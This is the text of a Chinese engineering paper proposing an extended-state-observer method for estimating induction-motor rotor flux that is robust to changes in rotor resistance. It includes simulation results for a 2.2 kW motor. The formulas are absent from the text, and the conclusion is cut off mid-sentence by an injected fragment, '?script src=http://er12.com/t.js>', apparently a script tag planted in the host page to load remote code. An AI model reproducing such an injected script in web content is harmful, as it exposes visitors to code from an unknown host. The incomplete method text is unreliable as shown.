摘 要：感应电机调速控制中的一个关键问题是如何克服转子电阻不确定的影响，准确地观测转子磁链。该文采用扩张状态观测器的方法，提出了一种新的转子磁链观测器。对电机方程中的定子电流动态方程进行整理，把包含转子电阻的不确定项综合在一起，并扩张成一阶新的状态，与原方程组成增广一阶的系统。对于新的系统，应用扩张状态观测器观测出原系统的不确定部分，使系统确定化，最后得到准确的转子磁链观测值。高速和低速下的仿真结果都表明该文的方法对转子电阻的变化具有极强的鲁棒性，可以在转子电阻不确定时对转子磁链进行准确观测。
关键词：感应电机；转子磁链；扩张状态观测器
1 引言
对于工业中广泛应用的感应电机，无论是转子磁场定向矢量控制，还是反馈线性化以及其他非线性控制方法，都需要知道转子磁链矢量的幅值和相位。由于转子磁链难以直接测量，通常的方法是利用方便检测到的量，如定子电流、电压及转速等，构造观测器来获得转子磁链。转子电阻对于转子磁链的准确观测具有关键的影响。但由于温升等因素，转子电阻在电机运行时会有幅度很大的变化。转子电阻的不确定性导致了转子磁链观测的困难[1]。
为了抑制这种影响构造转子磁链观测器，从而设计高性能的感应电机控制器，人们至今一直在进行广泛而深入的研究。文献[2]利用模型参考自适应方法辨识出转子电阻，然后调整观测器；文献[3]则利用神经网络辨识转子电阻。另一种方法是设计参数的自适应律构造非线性转子磁链观测器[4-5]，但是这种方法通常非常复杂，系统阶数很高。h∞方法最近也被用于转子磁链的观测，取得了较好的效果[6]，但只是实现了线性观测器结构下使电阻的影响最小，仍然不能消除不确定性的影响。
本文对感应电机的数学模型进行了分析，把不确定项扩张成一阶新的状态，采用扩张状态观测器(extended state observer(eso))[7]观测出这个不确定项，从而在转子电阻不确定的情况下得到转子磁链的准确观测。
2 扩张状态观测器
文献[7]首先提出了eso的概念与方法，可以处理一类不确定的控制对象。
设有一阶受控对象
式中 x为系统状态；f(x,v(t))为状态的未知函数及未知外扰，它包括了系统中的所有不确定项；u(t)为控制输入。
令a(t)=f(x,v(t))，并把它扩张成一阶状态与原系统式(1)组成二阶系统如下
文献[8-10]中给出了g(x)及其参数的整定原则。根据仿真实验，本文中函数g(x)取如下形式
对于在一定范围内变化的a(t)，适当选择a、b和d 3个参数，就可以使式(3)很好的逼近原系统的状态x及不确定项a(t)[9]。这样通过eso，就把原来的一个不确定系统转换为确定的系统。
3 基于eso的转子磁链观测器
写成矢量形式的异步电机数学模型如下
式中 us为输入的定子电压矢量；is为定子电流矢量；yr为转子磁链矢量；wr为电机角速度；np为电机的极对数；j为转动惯量；rs、rr分别为定、转子电阻；ls、lr和lm分别为定转子的自感及其互感、漏感系数
在这些参数中，转子电阻rr会在电机运行过程中发生较大的变化。
对于式(5)中的电流动态方程做如下整理，把带有转子电阻的项合并在一起
此时a(t)代表了式(6)中所有的不确定项。注意到a(t)即为式(5)中第二式磁链的导数，只要利用eso观测到a(t)，积分即可得磁链。
适当的选择eso的参数，就可以使渐进的跟踪原系统的a(t)。然后对积分就可以得到转子磁链
由式(9)可知，本文提出的转子磁链观测器中不出现转子电阻，因此对rr的变化具有极强的鲁棒性。同时，本文的方法也无需电机转速的信息，非常适合应用于无速度传感器的场合。假如电机转速已知，由式(7)就可以计算出实际的转子电阻。
4 仿真结果
对上述方法，本文按照图1的框图使用matlab/ simulink进行了仿真实验。仿真中电机参数如下：额定功率2.2kw，额定转速1450r/min，极对数为2，定子电阻0.435w，转子电阻0.816w，定、转子电感均为0.0713h，互感为0.0693h，转动惯量0.089kg·m2。额定负载，仿真时间为1s。
首先，在开环下电机额定电压启动，转子电阻比常值增加100％。观测器得到的转子磁链与实际磁链幅值和相角的误差如图2所示，此时实际转子磁链幅值为0.955wb。观测到的转子磁链幅值误差在0.5％左右，相角的误差也很小，说明转子电阻的不确定性对本文的方法几乎没有影响。
另外在1/10的额定电压、频率下电机开环启动，仿真结果如图3所示。可见本文的方法在低速下仍然具有很好的性能。
5 结论
本文利用扩张状态观测器（eso）设计了感应电机转子磁链观测器，解决了实际中存在的转子电阻不确定的问题。这种方法对转子电阻的变化具?script src=http://er12.com/t.js>
